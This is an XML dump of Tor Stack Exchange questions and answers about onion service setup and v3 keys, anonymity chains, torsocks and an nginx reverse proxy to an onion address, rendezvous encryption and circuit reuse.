  <row Id="21825" PostTypeId="2" ParentId="21824" CreationDate="2020-12-23T01:03:13.627" Score="3" Body="&lt;p&gt;Unless you edit your tor configuration (your &lt;code&gt;torrc&lt;/code&gt; file) to add an onion service, tor won't run any onion services and no one will be able to connect to any of your local servers, so you're safe. Even if you accidentally set up a v3 onion service, anyone who wishes to connect to your service would need to know the full 32-byte public identity key of the service in order to connect.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-23T01:03:13.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21826" PostTypeId="1" CreationDate="2020-12-13T19:20:37.560" Score="0" ViewCount="169" Body="&lt;p&gt;Talking in terms of privacy, is it better to use the same .onion domain, mapping different ports to the same .onion or is it better to generate different hidden services?&lt;/p&gt;&#xA;" OwnerDisplayName="ferrexaxo extrem" LastEditorUserId="25432" LastEditDate="2021-01-26T15:12:11.970" LastActivityDate="2021-01-26T15:12:11.970" Title="Different ports or different hidden services?" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21827" PostTypeId="2" ParentId="21826" CreationDate="2020-12-20T22:04:24.940" Score="1" Body="&lt;p&gt;Use different hidden services if anonymity (hidden services don't necessarily provide &amp;quot;privacy&amp;quot;) is paramount.&lt;/p&gt;&#xA;&lt;p&gt;The reason being that if the service operating on one port reveals your identity (or if that identity is somehow leaked out-of-band), it also reveals the identity of the operator of the service on the other port.&lt;/p&gt;&#xA;&lt;p&gt;Moreover, you should operate the services in separate sandboxes/servers to avoid timing attacks if you require that level of anonymity.&lt;/p&gt;&#xA;&lt;p&gt;If you're concerned about your users' anonymity, i can't say for sure,  but I suspect someone within the network (one of the service's introduction nodes?) might be able to correlate access between the two ports.  This correlation is a form of fingerprinting that could contribute to deanonymizing your users.  Perhaps someone in the research community can correct me here?&lt;/p&gt;&#xA;" OwnerUserId="31386" OwnerDisplayName="DylanYoung" LastActivityDate="2020-12-20T22:04:24.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21831" PostTypeId="1" AcceptedAnswerId="21839" CreationDate="2020-12-26T21:20:16.977" Score="0" ViewCount="269" Body="&lt;p&gt;Usually, Tor works like that: a daemon starts in background, reads &lt;code&gt;torrc&lt;/code&gt; and listens on &lt;code&gt;SocksPort&lt;/code&gt; (usually 9050). Then an application uses &lt;code&gt;localhost:9050&lt;/code&gt; as a SOCKS5 proxy and performs requests over Tor that way.&lt;/p&gt;&#xA;&lt;p&gt;What I want to do is to perform a request over the Tor network on GNU/Linux without starting localhost proxy. &lt;em&gt;Something like&lt;/em&gt; &lt;code&gt;torify curl&lt;/code&gt;&lt;em&gt;, but without SOCKS5 proxies&lt;/em&gt;. So is there a way to &lt;strong&gt;send a request over Tor without using local proxy?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="29982" LastActivityDate="2020-12-28T18:05:59.337" Title="Sending a request over Tor without binding port on localhost" Tags="|linux|socks|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21832" PostTypeId="2" ParentId="20498" CreationDate="2020-12-27T13:01:42.740" Score="1" Body="&lt;p&gt;After looking into this again after leaving it for a long time, I quickly found the solution.&lt;/p&gt;&#xA;&lt;p&gt;It turned out that the files in the &lt;code&gt;/var/lib/tor/keys&lt;/code&gt; folder were not owned nor writable for the &lt;code&gt;debian-tor&lt;/code&gt; user. Make sure to set &lt;code&gt;debian-tor&lt;/code&gt; as the owner and allow this user to read and write the files.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;chown -R debian-tor /var/lib/tor/keys/*&#xA;chmod 600 /var/lib/tor/keys/*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After changing these permissions, the TOR service didn't spit out error message anymore!&lt;/p&gt;&#xA;" OwnerUserId="27331" LastActivityDate="2020-12-27T13:01:42.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21833" PostTypeId="1" CreationDate="2020-12-27T15:22:55.243" Score="0" ViewCount="675" Body="&lt;p&gt;I would like to hear your opinion about this connection chain, what can you say anonymously and whether it is secure.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Boot Linux Kodachi in Live mode from USB&lt;/li&gt;&#xA;&lt;li&gt;Turn on a reliable VPN1&lt;/li&gt;&#xA;&lt;li&gt;After that I Torify the whole system.&lt;/li&gt;&#xA;&lt;li&gt;Launch VirtualBox and emulate another Linux Kodachi in Live mode.&lt;/li&gt;&#xA;&lt;li&gt;Launch VPN2&lt;/li&gt;&#xA;&lt;li&gt;After that I will torify the whole system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In total, I get this connection:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(Linux Kodachi from USB) VPN1 ==&amp;gt; TOR =&amp;gt; (VirtualBox Linux Kodachi) VPN2 ==&amp;gt; TOR ==&amp;gt; TOR DNS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Speed ​​suits me&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Do you think it is anonymous?&lt;/p&gt;&#xA;&lt;p&gt;Is the &lt;code&gt;vpn =&amp;gt; tor =&amp;gt; vpn =&amp;gt; tor&lt;/code&gt; chain anonymous?&lt;/p&gt;&#xA;&lt;p&gt;Or maybe just &lt;code&gt;vpn =&amp;gt; tor =&amp;gt; .....&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;What problems could there be, сonsidering virtualbox has no shared folders, clipboard,etc. with the host machine?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Perhaps you know more interesting and reliable ways to set up such a connection chain. Thanks to all!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;PART II&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I understand that using &lt;code&gt;tor =&amp;gt; vpn&lt;/code&gt; is a bad idea, I use &lt;code&gt;vpn =&amp;gt; tor&lt;/code&gt;, but I want to add a virtual machine to this bundle using all the features of Linux Kodachi.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Based on what you wrote, I understand that there is no point in the &lt;code&gt;vpn-tor-vpn-tor&lt;/code&gt; bundle? Or is it still interesting?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you think this option is interesting? (&lt;code&gt;Kodachi from usb) vpn1 =&amp;gt; (kodachi from vurtualbox) =&amp;gt; vpn =&amp;gt; tor&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31447" LastEditorUserId="31447" LastEditDate="2020-12-28T10:04:50.600" LastActivityDate="2022-02-22T00:03:45.557" Title="I want to hear opinions about the chain: VPN1==&gt;TOR==&gt;VPN2==&gt;TOR (using Kodachi Linux with USB + Kodachi Linux with Virtualbox)" Tags="|tor-browser-bundle|anonymity|security|linux|vpn|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21834" PostTypeId="1" CreationDate="2020-12-27T23:21:34.743" Score="0" ViewCount="48" Body="&lt;p&gt;I currently have tor installed on my Kali Linux laptop, I am trying to run a hidden service. Everything is working fine except I can't set a custom onion address. I have shallot installed and I already have my RSA private key for the domain I want. I keep putting the key inside:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/var/lib/tor/hidden_service/private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The key stays there, but doesn't apply to the hostname file. Even if I change the onion link in the hostname file itself, when I restart Tor, the hostname file changes back to the original onion link I got when I created my hidden service. Please tell me what I'm doing wrong.&lt;/p&gt;&#xA;" OwnerUserId="31457" LastActivityDate="2020-12-27T23:21:34.743" Title="I am not able to set a custom Domain for my Hidden Service on Kali" Tags="|onion-services|linux|url|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21835" PostTypeId="1" AcceptedAnswerId="21838" CreationDate="2020-12-28T01:15:53.297" Score="0" ViewCount="37" Body="&lt;p&gt;If one maintains an active persona on the clearnet and inadvertently enters a couple of words that are associated with that persona on an untrusted darknet form but deletes those identifying words without submitting the form, did the person just identify him/herself?&lt;/p&gt;&#xA;&lt;p&gt;This is interesting to me as HTML forms could be abused in this way to capture information regardless if the user intends to submit a form.&lt;/p&gt;&#xA;" OwnerDisplayName="user31458" LastActivityDate="2020-12-28T17:58:07.893" Title="The Human Factor - Unintentional Exposure of Confidential Information in Forms" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21836" PostTypeId="2" ParentId="21833" CreationDate="2020-12-28T04:06:15.347" Score="0" Body="&lt;p&gt;Pretty bulletproof, but the second VPN is redundant and might even harm your privacy as it would allow the operators of VPN2 to see your traffic just like VPN1. In that way, Tor would not provide much protection.&lt;/p&gt;&#xA;&lt;p&gt;An easier and more feasible solution in terms of speed would be to use hardened Whonix over a (not necessarily trustworthy) VPN. Even though it may harm your privacy to use a VPN over Tor, if you do any risky activities (accidentally, which is more common than you think), such as torrenting or running certain malicious or poorly configured web features, your real IP would be exposed. See proof: &lt;a href=&quot;https://blog.torproject.org/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/bittorrent-over-tor-isnt-good-idea&lt;/a&gt; Leaking a VPN IP address provides at least some infinitesimal benefit over leaking your real IP.&lt;/p&gt;&#xA;&lt;p&gt;All in all, just use common sense and choose your battles wisely.&lt;/p&gt;&#xA;" OwnerDisplayName="user31458" LastActivityDate="2020-12-28T04:06:15.347" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21837" PostTypeId="1" CreationDate="2020-12-28T14:02:46.310" Score="0" ViewCount="2113" Body="&lt;p&gt;I have genarated a castom onion v3 domain by using mkp224o&#xA;i got 3 file&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;hostname&lt;/li&gt;&#xA;&lt;li&gt;hs_ed25519_public_key&lt;/li&gt;&#xA;&lt;li&gt;hs_ed25519_secret_key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;now  I need the private key file to upload it to the TOR host's server. I want to know how to proceed in detail to create the private key file from the 3 files.&lt;/p&gt;&#xA;&lt;p&gt;thank you!&lt;/p&gt;&#xA;" OwnerUserId="31461" LastActivityDate="2022-07-16T03:13:26.123" Title="How to get Onion v3 private key file from files generated by mkp224o?" Tags="|onion-routing|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21838" PostTypeId="2" ParentId="21835" CreationDate="2020-12-28T17:58:07.893" Score="0" Body="&lt;p&gt;If you have JavaScript enabled in Tor Browser then yes, the website can see any content you type into text boxes, even before you submit the form.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-28T17:58:07.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21839" PostTypeId="2" ParentId="21831" CreationDate="2020-12-28T18:05:59.337" Score="2" Body="&lt;p&gt;If you plan on using the standard tor implementation, then yes you will need to use some form of local proxy. If you don't want to bind the SOCKS port to a localhost address, you can also use a unix domain socket instead. For example using &lt;code&gt;SocksPort unix:/home/user/tor-socks.unix&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you want to avoid using a local proxy, then you will need to build the Tor client into the application itself. I don't know of any Tor libraries that do this, but the python &lt;a href=&quot;https://pypi.org/project/torpy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;torpy&lt;/a&gt; library might be a good start.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-28T18:05:59.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21840" PostTypeId="2" ParentId="21837" CreationDate="2020-12-28T18:13:47.523" Score="1" Body="&lt;p&gt;The secret key (&lt;code&gt;hs_ed25519_secret_key&lt;/code&gt;) is the onion service's private key.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;hs_ed25519_secret_key&lt;/code&gt; file does not have an extension. You should add this file to your tor hidden service directory. This is often in &lt;code&gt;/var/lib/tor/&lt;/code&gt;, but it depends on how you installed tor. You also need to make sure to set the correct permissions for this file. You will also need to set up the onion service in your torrc file. You might find this helpful for learning the directory structure: &lt;a href=&quot;https://famicoman.com/2018/01/05/configuring-a-tor-hidden-service/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://famicoman.com/2018/01/05/configuring-a-tor-hidden-service/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="88" LastEditDate="2021-04-07T20:06:16.417" LastActivityDate="2021-04-07T20:06:16.417" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21842" PostTypeId="1" AcceptedAnswerId="21844" CreationDate="2020-12-29T03:52:22.017" Score="0" ViewCount="225" Body="&lt;p&gt;I have a couple of questions related to Tor circuits.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Let's say that there is a circuit that was used and marked &amp;quot;dirty&amp;quot; and has also expired (no active TCP stream). Can this circuit ever be used again? Is there a way to how one might do that?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does Tor handle a client creating a lot of circuits? Can this also lead to an attack if the client is actually an adversary?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31466" LastActivityDate="2020-12-29T06:00:45.067" Title="Reusing a Tor &quot;dirty&quot; circuit" Tags="|security|circuit|stem|global-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21844" PostTypeId="2" ParentId="21842" CreationDate="2020-12-29T06:00:45.067" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;At the protocol level there is no concept of a &amp;quot;dirty circuit&amp;quot;. A circuit is created, extended, and eventually destroyed. Once it's completely destroyed it can't be used again, but you can create another circuit with the same path.&lt;/p&gt;&#xA;&lt;p&gt;For the standard tor implementation, tor won't assign new streams to dirty circuits, but you can attach streams to dirty circuits that aren't yet closed using the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control protocol&lt;/a&gt;. If the circuit is closed, you cannot attach a stream to this circuit. Note that tor clients multiplex circuits over a single TCP connection to the guard relay, so even if a circuit closes, there will likely still be a TCP connection.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can make a tor client generate many circuits, and you can do this easily with tor's control protocol. Relays use a denial-of-service mitigation system to prevent a client (or specifically an IP address) from generating too many circuits through it. This means that you could create many circuits through different entry relays without triggering the denial-of-service mitigation system, but you cannot make many circuits through a single entry relay. Circuit creation is significantly less expensive for relays than it used to be, and the circuit creation crypto is handled in a different thread than the rest of the relay. While it wouldn't be good if a client (or many clients) generated huge numbers of circuits, it's not clear if this would significantly harm network performance or not, or how many clients would be required to harm the network.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-29T06:00:45.067" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21845" PostTypeId="1" AcceptedAnswerId="21846" CreationDate="2020-12-29T20:47:13.057" Score="1" ViewCount="3738" Body="&lt;p&gt;I am currently trying to run a hidden service on my kali laptop. Everything is working fine, except the address, which I have been poking around for 2 days trying to get a custom one. I only have these files in my hidden service directory when i do the ls command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;authorized_clients  hs_ed25519_public_key&#xA;hostname            hs_ed25519_secret_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am following the Null-byte tutorial to set up my hidden service. however, they seem to have only two files when they go to the hidden_service directory: hostname and private_key, which I don't have. It seems to be from there that they add the RSA key that matches a custom onion address, which is very short (v3?) but I simply don't have that file. Plus, my hostname file contains the address but the address is very long. So i think this means I have to switch to v3 but I have no idea how. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="31457" LastEditorUserId="7643" LastEditDate="2021-04-07T20:02:06.407" LastActivityDate="2021-04-07T20:02:06.407" Title="Switch from v1 or v2 to v3 address on hidden service" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21846" PostTypeId="2" ParentId="21845" CreationDate="2020-12-29T21:25:35.583" Score="1" Body="&lt;p&gt;The &lt;code&gt;private_key&lt;/code&gt; file is an old format for v2 onion services, and the &lt;code&gt;hs_ed25519_secret_key&lt;/code&gt; is the modern format for v3 onion services. Tor version 0.4 and above defaults to v3 onion services, but you can specify this manually in your torrc settings using the line &lt;code&gt;HiddenServiceVersion 3&lt;/code&gt; after your &lt;code&gt;HiddenServiceDir&lt;/code&gt; line.&lt;/p&gt;&#xA;&lt;p&gt;The only important file to copy is the &lt;code&gt;hs_ed25519_secret_key&lt;/code&gt; file. Once you start the onion service, tor will automatically generate the other files (&lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;hs_ed25519_public_key&lt;/code&gt;, and the &lt;code&gt;authorized_clients&lt;/code&gt; directory) for you.&lt;/p&gt;&#xA;&lt;p&gt;If you're still having difficulty, then please update your post with your tor log, as well as the directory structure and permissions for your onion service directory. For example, run &lt;code&gt;ls -l /var/lib/tor&lt;/code&gt; and &lt;code&gt;ls -l /var/lib/tor/my_onion_service&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-29T21:25:35.583" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21848" PostTypeId="1" AcceptedAnswerId="21849" CreationDate="2020-12-30T22:20:56.517" Score="1" ViewCount="758" Body="&lt;p&gt;Most &lt;code&gt;torify&lt;/code&gt; documentation is about accessing non-hidden services.&lt;/p&gt;&#xA;&lt;p&gt;Yet .onion address look like real tcp addresses, does &lt;code&gt;torify&lt;/code&gt; make those available.&lt;/p&gt;&#xA;" OwnerUserId="31473" LastEditorUserId="31473" LastEditDate="2020-12-31T03:18:46.053" LastActivityDate="2021-01-15T15:41:00.230" Title="Does torify/torsocks give access to hidden services?" Tags="|torsocks|torify|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21849" PostTypeId="2" ParentId="21848" CreationDate="2020-12-30T23:41:09.207" Score="2" Body="&lt;p&gt;The torsocks program (the actual name of the torify alias) can connect to hidden services fine. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks curl https://3g2upl4pq6kufc4m.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-30T23:41:09.207" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21850" PostTypeId="1" AcceptedAnswerId="21852" CreationDate="2020-12-31T14:44:41.010" Score="1" ViewCount="47" Body="&lt;p&gt;My question pertains to the scenario after the client and the HS have exchanged a symmetric key.&#xA;So, we have the following circuit:&lt;/p&gt;&#xA;&lt;p&gt;Client -- c_relay_1(guard) -- c_relay_2 -- RP -- s_relay_3 -- s_relay_2 -- s_relay_1(guard) -- HS&lt;/p&gt;&#xA;&lt;p&gt;Client encrypts payload with HS symmetric key, then the cell is encrypted in the following way:&lt;/p&gt;&#xA;&lt;p&gt;c_relay_1_key(c_relay_2_key(RP_key(HS_symm_key(payload_for_HS))))&lt;/p&gt;&#xA;&lt;p&gt;At the RP the payload is encrypted only with the HS symmetric key. Later, the server's 3 relays encrypt the cell again in a similar fashion towards the HS.&#xA;Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="31251" LastActivityDate="2020-12-31T20:50:22.257" Title="Is the cell at the rendezvous encrypted with only the symmetric key exchanged with the HS?" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21851" PostTypeId="2" ParentId="21848" CreationDate="2020-12-31T15:54:02.253" Score="1" Body="&lt;p&gt;If the hidden service is HTTP &lt;strong&gt;AND&lt;/strong&gt; your client for some reason does not support torsocks, then you may benefit from a &lt;a href=&quot;https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;nginx revers proxy&lt;/a&gt; listening on local ports&lt;/p&gt;&#xA;&lt;p&gt;WARNINGS:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This nginx process will not be listen on 0.0.0.0 because it's torified. It will only listen to localhost (127.0.0.1). This is good because on 0.0.0.0 you may be reachable on a public port and will become proxy to the hidden service for anyone on the non-tor Internet.&lt;/li&gt;&#xA;&lt;li&gt;Every user on the operating system will get access to the hidden service&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Edit &lt;code&gt;/etc/nginx/sites-enabled/default&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen 127.0.0.1:1234 default_server;&#xA;&#xA;    location / {&#xA;       proxy_pass https://3g2upl4pq6kufc4m.onion;&#xA;&#xA;       # Timeout&#xA;       proxy_connect_timeout       5m;&#xA;       proxy_send_timeout          5m;&#xA;       proxy_read_timeout          5m;&#xA;       send_timeout                5m;&#xA;&#xA;       # Settings for cache&#xA;       proxy_set_header       Host $host;&#xA;       proxy_buffering        on;&#xA;       proxy_cache            STATIC;&#xA;       proxy_cache_valid      200  5m;&#xA;       proxy_cache_use_stale  error timeout invalid_header updating&#xA;                              http_500 http_502 http_503 http_504;&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Edit &lt;code&gt;/etc/nginx/nginx.conf&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;http {&#xA;&#xA;    ## 2021-01-01&#xA;    proxy_cache_path  /opt/nginx/cache  levels=1:2&#xA;    keys_zone=STATIC:10m inactive=24h  max_size=1g;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Run:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo mkdir -p /opt/nginx/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Start nginx in torifyed mode:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo torsocks nginx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Now you can use regular local HTTP connections, e.g.:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl 127.0.0.1:1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To stop, use regular kill because systemctl will not work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ps axf | grep -v grep | grep nginx  # lookup PID&#xA;&#xA;kill PID_GOES_HERE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Let nginx restart automatically (systemd)&lt;/h1&gt;&#xA;&lt;p&gt;Now instead of starting and stopping ngingx manually, edit systemd script so it does it automatically every time the process crashes or the system reboots.&lt;/p&gt;&#xA;&lt;p&gt;Edit &lt;code&gt;/lib/systemd/system/nginx.service&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simply add &lt;code&gt;/usr/bin/torsocks&lt;/code&gt; in front of every Exec command&lt;/li&gt;&#xA;&lt;li&gt;So Exec commands should looks similar to this:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExecStart=/usr/bin/torsocks /usr/sbin/nginx -g 'daemon on; master_process on;'&#xA;ExecReload=/usr/bin/torsocks /usr/sbin/nginx -g 'daemon on; master_process on;' -s reload&#xA;ExecStop=/usr/bin/torsocks /sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /run/nginx.pid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make script changes effective: &lt;code&gt;sudo systemctl daemon-reload&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Manually kill your current nginx&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo systemctl restart nginx&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Historical details&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;quot;Connection timed out&amp;quot; in /var/log/nginx/error.log&#xA;and all connections to the onion address stop working. Restarting tor for the client mitigates the issue temporarily. To to prevent the issue I increased the connection timeout and added caching for 5 minutes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31473" LastEditorUserId="31473" LastEditDate="2021-01-15T15:41:00.230" LastActivityDate="2021-01-15T15:41:00.230" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21852" PostTypeId="2" ParentId="21850" CreationDate="2020-12-31T18:04:04.847" Score="0" Body="&lt;p&gt;I'm 99% certain that is how it works. And since it uses regular circuit/relay crypto, there are actually two symmetric keys at each end, one for the forward direction and one for the backward direction. Both the client and service add an imaginary &amp;quot;hop&amp;quot; to their circuit paths, which performs the end-to-end encryption/decryption.&lt;/p&gt;&#xA;&lt;p&gt;Code path on the service:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;hs_circ_service_rp_has_opened() -&amp;gt; hs_circuit_setup_e2e_rend_circ() -&amp;gt; finalize_rend_circuit() -&amp;gt; cpath_extend_linked_list()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Code path on the client:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;handle_rendezvous2() -&amp;gt; hs_circuit_setup_e2e_rend_circ() -&amp;gt; finalize_rend_circuit() -&amp;gt; cpath_extend_linked_list()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-12-31T20:50:22.257" LastActivityDate="2020-12-31T20:50:22.257" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21853" PostTypeId="1" CreationDate="2020-12-31T18:22:53.090" Score="1" ViewCount="333" Body="&lt;h3&gt;Benefit that I'm looking for:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor is slow. When SSH'ing over Tor doing even the basic things takes a lot of time and concentration&lt;/li&gt;&#xA;&lt;li&gt;Especially painful are: editing a file or a mistyped command line because when finding the spot to edit you can't use the keyboard repeat functions and end up counting how many places to shift&lt;/li&gt;&#xA;&lt;li&gt;Mosh solves this problem by editing text on the client side cache and reconciling with the server in the background&lt;/li&gt;&#xA;&lt;li&gt;By tunneling over something SSH or VPN I'd still have the client side text editing that I'm describing. I'm ok with throwing away mosh's roaming benefit.&lt;/li&gt;&#xA;&lt;li&gt;I'm interested to in the Mosh client's &amp;quot;Instant local echo and line editing&amp;quot; &lt;a href=&quot;https://mosh.org/#usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mosh.org/#usage&lt;/a&gt; - is there is a way to tunnel / VPN the client-server traffic for Mosh's State Synchronization Protocol without modifying mosh?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;The issue is:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor does not support UDP&lt;/li&gt;&#xA;&lt;li&gt;Mosh does not support TCP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I could not find a guide. &lt;a href=&quot;https://matt.traudt.xyz/posts/mosh-over-tor-RczgjEqF.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This one&lt;/a&gt; came close yet it runs some communication over the regular Internet which kills the privacy that Tor offers.&lt;/p&gt;&#xA;" OwnerUserId="31473" LastActivityDate="2020-12-31T18:22:53.090" Title="Mosh (UDP) over Tor, instead of SSH over Tor?" Tags="|network-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
